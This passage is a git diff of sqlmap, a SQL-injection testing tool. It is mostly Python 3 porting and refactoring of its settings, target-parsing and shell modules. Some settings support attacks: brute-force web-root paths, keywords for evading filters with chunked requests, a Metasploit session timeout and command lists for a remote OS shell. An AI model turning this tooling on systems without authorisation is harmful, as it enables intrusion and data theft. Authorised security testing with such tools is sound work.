"java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' @@ -710,23 +839,32 @@ # Default REST-JSON API server listen port RESTAPI_DEFAULT_PORT = 8775 +# Unsupported options by REST-JSON API server +RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard") + +# Use "Supplementary Private Use Area-A" +INVALID_UNICODE_PRIVATE_AREA = False + # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" +# Minimum supported version of httpx library (for --http2) +MIN_HTTPX_VERSION = "0.28" + # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data -JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z' +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data -JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z" +JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z" # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" # Regular expression used for detecting Array-like POST data -ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\]=.+%s\2\[\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) +ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" @@ -753,24 +891,27 @@ MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized -METASPLOIT_SESSION_TIMEOUT = 120 +METASPLOIT_SESSION_TIMEOUT = 180 # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html LOBLKSIZE = 2048 -# Suffix used to mark variables having keyword names -EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" +# Prefix used to mark special variables (e.g. keywords, having special chars, etc.) +EVALCODE_ENCODED_PREFIX = "EVAL_" + +# Reference: https://en.wikipedia.org/wiki/Zip_(file_format) +ZIP_HEADER = b"\x50\x4b\x03\x04" # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens -CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { - OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), - OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") + OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%", "/Library/WebServer/Documents", "/opt/homebrew/var/www"), + OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root @@ -785,6 +926,12 @@ # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" +# Printable bytes +PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) + +# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk) +HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules") + # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """""" + +# Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`) +for key, value in os.environ.items(): + if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX): + _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() + if _ in globals(): + original = globals()[_] + if isinstance(original, int): + try: + globals()[_] = int(value) + except ValueError: + pass + elif isinstance(original, bool): + globals()[_] = value.lower() in ('1', 'true') + elif isinstance(original, (list, tuple)): + globals()[_] = [__.strip() for __ in _.split(',')] + else: + globals()[_] = value diff --git a/lib/core/shell.py b/lib/core/shell.py index 3f18488a34b..b4ae92ab3eb 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -14,6 +14,7 @@ from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS +from lib.core.settings import IS_WIN from lib.core.settings import MAX_HISTORY_LENGTH try: @@ -78,7 +79,7 @@ def saveHistory(completion=None): readline.write_history_file(historyPath) except IOError as ex: warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) - logger.warn(warnMsg) + logger.warning(warnMsg) except KeyboardInterrupt: pass @@ -102,7 +103,12 @@ def loadHistory(completion=None): readline.read_history_file(historyPath) except IOError as ex: warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) - logger.warn(warnMsg) + logger.warning(warnMsg) + except UnicodeError: + if IS_WIN: + warnMsg = "there was a problem loading the history file '%s'. " % historyPath + warnMsg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + logger.warning(warnMsg) def autoCompletion(completion=None, os=None, commands=None): if not readlineAvailable(): @@ -112,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None): if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ - "copy": None, "del": None, "dir": None, - "echo": None, "md": None, "mem": None, + "attrib": None, "copy": None, "del": None, + "dir": None, "echo": None, "fc": None, + "label": None, "md": None, "mem": None, "move": None, "net": None, "netstat -na": None, - "ver": None, "xcopy": None, "whoami": None, + "tree": None, "truename": None, "type": None, + "ver": None, "vol": None, "xcopy": None, }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ - "cp": None, "rm": None, "ls": None, - "echo": None, "mkdir": None, "free": None, - "mv": None, "ifconfig": None, "netstat -natu": None, - "pwd": None, "uname": None, "id": None, + "cat": None, "chmod": None, "chown": None, + "cp": None, "cut": None, "date": None, "df": None, + "diff": None, "du": None, "echo": None, "env": None, + "file": None, "find": None, "free": None, "grep": None, + "id": None, "ifconfig": None, "ls": None, "mkdir": None, + "mv": None, "netstat": None, "pwd": None, "rm": None, + "uname": None, "whoami": None, }) readline.set_completer(completer.complete) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 43092213929..97bac9bb26d 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,15 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from __future__ import division + import errno import os import subprocess import time +from lib.core.compat import buffer +from lib.core.convert import getBytes from lib.core.settings import IS_WIN if IS_WIN: @@ -26,7 +30,7 @@ def blockingReadFromFD(fd): # Quick twist around original Twisted function # Blocking read from a non-blocking file descriptor - output = "" + output = b"" while True: try: @@ -71,7 +75,7 @@ def recv(self, maxsize=None): def recv_err(self, maxsize=None): return self._recv('stderr', maxsize) - def send_recv(self, input='', maxsize=None): + def send_recv(self, input=b'', maxsize=None): return self.send(input), self.recv(maxsize), self.recv_err(maxsize) def get_conn_maxsize(self, which, maxsize): @@ -85,18 +89,18 @@ def _close(self, which): getattr(self, which).close() setattr(self, which, None) - if subprocess.mswindows: + if IS_WIN: def send(self, input): if not self.stdin: return None try: x = msvcrt.get_osfhandle(self.stdin.fileno()) - (errCode, written) = WriteFile(x, input) - except ValueError: + (_, written) = WriteFile(x, input) + except (ValueError, NameError): return self._close('stdin') - except (subprocess.pywintypes.error, Exception) as ex: - if ex[0] in (109, errno.ESHUTDOWN): + except Exception as ex: + if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): return self._close('stdin') raise @@ -109,15 +113,15 @@ def _recv(self, which, maxsize): try: x = msvcrt.get_osfhandle(conn.fileno()) - (read, nAvail, nMessage) = PeekNamedPipe(x, 0) + (read, nAvail, _) = PeekNamedPipe(x, 0) if maxsize < nAvail: nAvail = maxsize if nAvail > 0: - (errCode, read) = ReadFile(x, nAvail, None) + (_, read) = ReadFile(x, nAvail, None) except (ValueError, NameError): return self._close(which) - except (subprocess.pywintypes.error, Exception) as ex: - if ex[0] in (109, errno.ESHUTDOWN): + except Exception as ex: + if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): return self._close(which) raise @@ -135,7 +139,7 @@ def send(self, input): try: written = os.write(self.stdin.fileno(), input) except OSError as ex: - if ex[0] == errno.EPIPE: # broken pipe + if ex.args[0] == errno.EPIPE: # broken pipe return self._close('stdin') raise @@ -183,14 +187,16 @@ def recv_some(p, t=.1, e=1, tr=5, stderr=0): y.append(r) else: time.sleep(max((x - time.time()) / tr, 0)) - return ''.join(y) + return b''.join(getBytes(i) for i in y) def send_all(p, data): if not data: return + data = getBytes(data) + while len(data): sent = p.send(data) if not isinstance(sent, int): break - data = buffer(data, sent) + data = buffer(data[sent:]) diff --git a/lib/core/target.py b/lib/core/target.py index d19ca7ef805..3de535f2600 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,11 +12,9 @@ import sys import tempfile import time -import urlparse from lib.core.common import Backend from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import intersect from lib.core.common import isNumPosStrValue @@ -25,8 +23,14 @@ from lib.core.common import paramToDict from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.common import removePostHintPrefix from lib.core.common import resetCookieJar +from lib.core.common import safeStringFormat +from lib.core.common import unArrayizeValue from lib.core.common import urldecode +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -47,18 +51,18 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException +from lib.core.option import _setAuthCred from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes -from lib.core.option import _setAuthCred +from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES -from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import INJECT_HERE_REGEX -from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX +from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES @@ -72,8 +76,11 @@ from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX +from lib.core.threads import getCurrentThreadData from lib.utils.hashdb import HashDB -from thirdparty.odict.odict import OrderedDict +from thirdparty import six +from thirdparty.odict import OrderedDict +from thirdparty.six.moves import urllib as _urllib def _setRequestParams(): """ @@ -99,30 +106,34 @@ def _setRequestParams(): # Perform checks on POST parameters if conf.method == HTTPMETHOD.POST and conf.data is None: - logger.warn("detected empty POST body") + logger.warning("detected empty POST body") conf.data = "" if conf.data is not None: - conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method + conf.method = conf.method or HTTPMETHOD.POST def process(match, repl): retVal = match.group(0) - if not (conf.testParameter and match.group("name") not in conf.testParameter): + if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'): retVal = repl while True: _ = re.search(r"\\g<([^>]+)>", retVal) if _: - retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + try: + retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + except IndexError: + break else: break if kb.customInjectionMark in retVal: - hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name"))) + hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name"))) + return retVal if kb.processUserMarks is None and kb.customInjectionMark in conf.data: - message = "custom injection marker ('%s') found in option " % kb.customInjectionMark - message += "'--data'. Do you want to process it? [Y/n/q] " + message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method) + message += "body. Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': @@ -134,87 +145,89 @@ def process(match, repl): kb.testOnlyCustom = True if re.search(JSON_RECOGNITION_REGEX, conf.data): - message = "JSON data found in %s data. " % conf.method + message = "JSON data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.JSON if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".+?)"(?%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) - match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) - if match and not (conf.testParameter and match.group("name") not in conf.testParameter): - _ = match.group(2) - _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) - _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) - conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) - - kb.postHint = POST_HINT.JSON + for match in re.finditer(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): + if not (conf.testParameter and match.group("name") not in conf.testParameter): + _ = match.group(2) + if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3]) + _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) + conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): - message = "JSON-like data found in %s data. " % conf.method + message = "JSON-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.JSON_LIKE if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) - conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) - - kb.postHint = POST_HINT.JSON_LIKE + if '"' in conf.data: + conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data) + else: + conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): - message = "Array-like data found in %s data. " % conf.method + message = "Array-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.ARRAY_LIKE if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data) - kb.postHint = POST_HINT.ARRAY_LIKE - elif re.search(XML_RECOGNITION_REGEX, conf.data): - message = "SOAP/XML data found in %s data. " % conf.method + message = "SOAP/XML data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) - kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML - elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): - message = "Multipart-like data found in %s data. " % conf.method + message = "Multipart-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.MULTIPART if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) - - kb.postHint = POST_HINT.MULTIPART + conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), + functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed @@ -239,7 +252,7 @@ def process(match, repl): warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "and without providing any POST parameters " warnMsg += "through option '--data'" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "do you want to try URI injections " message += "in the target URL itself? [Y/n/q] " @@ -252,6 +265,9 @@ def process(match, repl): kb.processUserMarks = True for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): + if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)): + continue + _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" if kb.customInjectionMark in _: if kb.processUserMarks is None: @@ -272,11 +288,11 @@ def process(match, repl): warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + logger.warning(warnMsg) if not kb.processUserMarks: if place == PLACE.URI: - query = urlparse.urlsplit(value).query + query = _urllib.parse.urlsplit(value).query if query: parameters = conf.parameters[PLACE.GET] = query paramDict = paramToDict(PLACE.GET, parameters) @@ -294,6 +310,9 @@ def process(match, repl): testableParameters = True else: + if place == PLACE.URI: + value = conf.url = conf.url.replace('+', "%20") # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123 + conf.parameters[place] = value conf.paramDict[place] = OrderedDict() @@ -393,7 +412,7 @@ def process(match, repl): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) @@ -404,11 +423,11 @@ def process(match, repl): for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): - message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter) + message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " if readInput(message, default='N', boolean=True): - class _(unicode): + class _(six.text_type): pass conf.csrfToken = _(re.escape(getUnicode(parameter))) conf.csrfToken._original = getUnicode(parameter) @@ -422,8 +441,11 @@ def _setHashDB(): if not conf.hashDBFile: conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE) - if os.path.exists(conf.hashDBFile): - if conf.flushSession: + if conf.flushSession: + if os.path.exists(conf.hashDBFile): + if conf.hashDB: + conf.hashDB.closeAll() + try: os.remove(conf.hashDBFile) logger.info("flushing session file") @@ -455,11 +477,12 @@ def _resumeHashDBValues(): for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]: - if not conf.tech or intersect(conf.tech, injection.data.keys()): - if intersect(conf.tech, injection.data.keys()): - injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech) + if not conf.technique or intersect(conf.technique, injection.data.keys()): + if intersect(conf.technique, injection.data.keys()): + injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique) if injection not in kb.injections: kb.injections.append(injection) + kb.vulnHosts.add(conf.hostname) _resumeDBMS() _resumeOS() @@ -482,7 +505,7 @@ def _resumeDBMS(): dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] - _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) + _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = re.search(r"\A%s (.*)" % _, dbms, re.I) if _: @@ -555,17 +578,19 @@ def _setResultsFile(): return if not conf.resultsFP: - conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) + conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) + found = os.path.exists(conf.resultsFile) + try: - conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0) + conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0) except (OSError, IOError) as ex: try: - warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex)) - handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") + warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex)) + handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") os.close(handle) - conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) - warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename - logger.warn(warnMsg) + conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0) + warnMsg += "Using temporary file '%s' instead" % conf.resultsFile + logger.warning(warnMsg) except IOError as _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " @@ -573,16 +598,17 @@ def _setResultsFile(): errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) - conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) + if not found: + conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) - logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename) + logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile) def _createFilesDir(): """ Create the file directory. """ - if not conf.fileRead: + if not any((conf.fileRead, conf.commonFiles)): return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname @@ -594,8 +620,8 @@ def _createFilesDir(): tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") warnMsg = "unable to create files directory " warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warning(warnMsg) conf.filePath = tempDir @@ -607,17 +633,17 @@ def _createDumpDir(): if not conf.dumpTable and not conf.dumpAll and not conf.search: return - conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname + conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname) if not os.path.isdir(conf.dumpPath): try: os.makedirs(conf.dumpPath) - except OSError as ex: + except Exception as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + warnMsg += "Using temporary directory '%s' instead" % 